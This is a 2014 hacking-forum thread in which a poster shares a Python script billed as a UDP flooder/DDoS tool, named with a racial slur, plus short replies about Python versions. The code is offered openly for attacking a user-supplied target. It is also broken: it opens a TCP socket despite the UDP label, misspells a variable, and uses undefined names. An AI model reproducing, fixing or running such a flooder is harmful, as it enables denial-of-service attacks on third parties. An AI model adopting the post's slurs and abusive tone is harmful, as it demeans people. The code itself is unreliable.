![]() |
|
UDP flooder. (untested) - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Python (https://sinister.li/Forum-Python) +--- Thread: UDP flooder. (untested) (/Thread-UDP-flooder-untested) |
UDP flooder. (untested) - Equinox - 01-28-2014 Imports: Socket, random, time Definitions: N/A Code: import socket, random, timeImports, check. Time to have the startup messages and shit. NOTE: It is called Nigga Cannon because that is what I named it. If you have a problem with it, write it on a piece of paper, folder it up and stick it up your ass. (Unless you're Oni.) Code: socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("[NiggaCannon]Modules loaded, preparing UDP flooder."),time.sleep(2)
print("[NiggaCannon]UDPF loaded.")Targeting shit. Code: hostip = input("[NiggaCannon]Target: ")
port = input("[NiggaCannon]Port: ")
packets = input("[NiggaCannon]Number of packets to send: ")And lastly, connecting and sending. Code: while True:
scoket.sendto(packs,(hostip,port))
print("[NiggaCannon]%s packets sent to %s:%s." % (sentpax,hostip,port))
sentpax = sentpax + 1
print("[NiggaCannon]DDoS complete. Exiting the NiggaCannon in 5 seconds."),time.sleep(5),exit()INTRODUCING, THE NIGGACANNON UDP FLOODER/DDOSER! Code: import socket, random, time
socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("[NiggaCannon]Modules loaded, preparing UDP flooder."),time.sleep(2)
print("[NiggaCannon]UDPF loaded.")
hostip = input("[NiggaCannon]Target: ")
port = input("[NiggaCannon]Port: ")
packets = input("[NiggaCannon]Number of packets to send: ")
packs = random._urandom(packets)
address = (hostip,port)
socket.connect(address)
socket.settimeout(0.0)
while True:
scoket.sendto(packs,(hostip,port))
print("[NiggaCannon]%s packets sent to %s:%s." % (packs,hostip,port))
sent = sent + 1
print("[NiggaCannon]DDoS complete. Exiting the NiggaCannon in 5 seconds."),time.sleep(5),exit()Hope you like it. RE: UDP flooder. (untested) - Adorapuff - 01-28-2014 You forgot the part after "Unless you're Oni". It should say "Unless you're Oni, in which case write it on a cannonball." Re-write in 2.7 as Python 3 is bad and comment your code so that people understand wtf is going on. RE: UDP flooder. (untested) - Equinox - 01-28-2014 (01-28-2014, 03:39 AM)Adorapuff Wrote: You forgot the part after "Unless you're Oni". It should say "Unless you're Oni, in which case write it on a cannonball." I use py33 because my Chatango bot wouldn't operate under any version aside from 3 and higher. RE: UDP flooder. (untested) - Adorapuff - 01-28-2014 (01-28-2014, 03:45 AM)Duubz Wrote: I use py33 because my Chatango bot wouldn't operate under any version aside from 3 and higher. Then create a new one. There are a million 2.7 scripts lol. RE: UDP flooder. (untested) - Equinox - 01-28-2014 (01-28-2014, 03:45 AM)Adorapuff Wrote: Then create a new one. There are a million 2.7 scripts lol. Problem is the CH library is what wouldn't work. I'm not worried about the bot moreover just the library or it wouldn't be able to connect or function. |